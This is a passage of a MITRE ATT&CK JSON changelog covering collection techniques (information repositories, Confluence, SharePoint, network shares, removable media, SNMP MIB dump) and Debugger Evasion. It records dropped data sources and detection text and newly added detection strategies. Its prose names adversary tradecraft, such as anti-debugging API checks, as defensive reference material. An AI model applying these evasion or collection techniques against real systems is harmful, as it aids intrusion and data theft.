"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.969000+00:00\", \"old_value\": \"2025-04-25 14:48:29.549000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1041: Encrypt Sensitive Information",
"M1051: Update Software",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0453: Detection Strategy for SNMP (MIB Dump) on Network Devices"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:26.262000+00:00",
"name": "Data from Information Repositories",
"description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)). \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)) \n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n* Contact or other sensitive information about business partners and customers, including personally identifiable information (PII) \n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:\n\n* Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases \n* Collaboration platforms such as SharePoint, Confluence, and code repositories\n* Messaging platforms such as Slack and Microsoft Teams \n\nIn some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.(Citation: Mitiga)(Citation: TrendMicro Exposed Redis 2020)(Citation: Cybernews Reuters Leak 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213",
"external_id": "T1213"
},
{
"source_name": "Mitiga",
"description": "Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again \u2014 How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.",
"url": "https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots"
},
{
"source_name": "Atlassian Confluence Logging",
"description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
"url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
},
{
"source_name": "TrendMicro Exposed Redis 2020",
"description": "David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.",
"url": "https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html"
},
{
"source_name": "Microsoft SharePoint Logging",
"description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
"url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
},
{
"source_name": "Sharepoint Sharing Events",
"description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.",
"url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"
},
{
"source_name": "Cybernews Reuters Leak 2022",
"description": "Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.",
"url": "https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Regina Elwell",
"Praetorian",
"Milos Stojadinovic",
"Isif Ibrahima, Mandiant",
"Obsidian Security",
"Naveen Vijayaraghavan",
"Nilesh Dherange (Gurucul)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS",
"SaaS",
"IaaS",
"Office Suite"
],
"x_mitre_version": "3.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.262000+00:00\", \"old_value\": \"2025-04-15 22:15:46.213000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n-\\n-The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \"}}}",
"previous_version": "3.4",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1032: Multi-factor Authentication",
"M1041: Encrypt Sensitive Information",
"M1047: Audit",
"M1054: Software Configuration",
"M1060: Out-of-Band Communications Channel"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0413: Abuse of Information Repositories for Data Collection"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-05-11 18:51:16.343000+00:00",
"modified": "2025-10-24 17:49:25.081000+00:00",
"name": "Code Repositories",
"description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/003",
"external_id": "T1213.003"
},
{
"source_name": "Wired Uber Breach",
"description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.",
"url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/"
},
{
"source_name": "Krebs Adobe",
"description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.",
"url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Itamar Mizrahi, Cymptom",
"Toby Kohlenberg",
"Josh Liburdi, @jshlbrd"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.081000+00:00\", \"old_value\": \"2025-04-15 22:04:59.867000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1032: Multi-factor Authentication",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0263: Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-14 13:09:51.004000+00:00",
"modified": "2025-10-24 17:48:59.776000+00:00",
"name": "Confluence",
"description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/001",
"external_id": "T1213.001"
},
{
"source_name": "Atlassian Confluence Logging",
"description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
"url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.776000+00:00\", \"old_value\": \"2025-04-15 22:09:18.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n-\\n-User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0358: Programmatic and Excessive Access to Confluence Documentation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-14 13:35:32.938000+00:00",
"modified": "2025-10-24 17:48:22.832000+00:00",
"name": "Sharepoint",
"description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/002",
"external_id": "T1213.002"
},
{
"source_name": "Microsoft SharePoint Logging",
"description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
"url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\", \"Cloud Service: Cloud Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.832000+00:00\", \"old_value\": \"2025-04-15 23:07:18.929000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n-\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0025: Cloud Service (Cloud Service Metadata)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0500: Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:41.022000+00:00",
"modified": "2025-10-24 17:49:13.555000+00:00",
"name": "Data from Network Shared Drive",
"description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1039",
"external_id": "T1039"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"David Tayouri"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Share: Network Share Access\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.555000+00:00\", \"old_value\": \"2025-04-16 20:37:18.881000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)",
"DS0033: Network Share (Network Share Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0410: Detection Strategy for Data from Network Shared Drive"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:31.584000+00:00",
"modified": "2025-10-24 17:48:28.431000+00:00",
"name": "Data from Removable Media",
"description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1025",
"external_id": "T1025"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"William Cain"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.431000+00:00\", \"old_value\": \"2025-04-15 19:58:10.837000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1057: Data Loss Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0511: Detection of Data Access and Collection from Removable Media"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-04-01 17:59:46.156000+00:00",
"modified": "2025-10-24 17:49:32.196000+00:00",
"name": "Debugger Evasion",
"description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program\u2019s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program\u2019s execution to continue.(Citation: Apriorit)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1622",
"external_id": "T1622"
},
{
"source_name": "Apriorit",
"description": "Apriorit. (2024, June 4). Anti Debugging Protection Techniques with Examples. Retrieved March 4, 2025.",
"url": "https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software"
},
{
"source_name": "Checkpoint Dridex Jan 2021",
"description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.",
"url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"
},
{
"source_name": "hasherezade debug",
"description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.",
"url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf"
},
{
"source_name": "Cado Security P2PInfect 2023",
"description": "jbowen. (2023, December 4). P2Pinfect - New Variant Targets MIPS Devices. Retrieved March 18, 2025.",
"url": "https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices"
},
{
"source_name": "AlKhaser Debug",
"description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.",
"url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug"
},
{
"source_name": "wardle evilquest partii",
"description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.",
"url": "https://objective-see.com/blog/blog_0x60.html"
},
{
"source_name": "ProcessHacker Github",
"description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.",
"url": "https://github.com/processhacker/processhacker"
},
{
"source_name": "Positive Technologies Hellhounds 2023",
"description": "PT Expert Security Center. (2023, November 29). Hellhounds: operation Lahat. Retrieved March 18, 2025.",
"url": "https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat"
},
{
"source_name": "vxunderground debug",
"description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.",
"url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"TruKno",
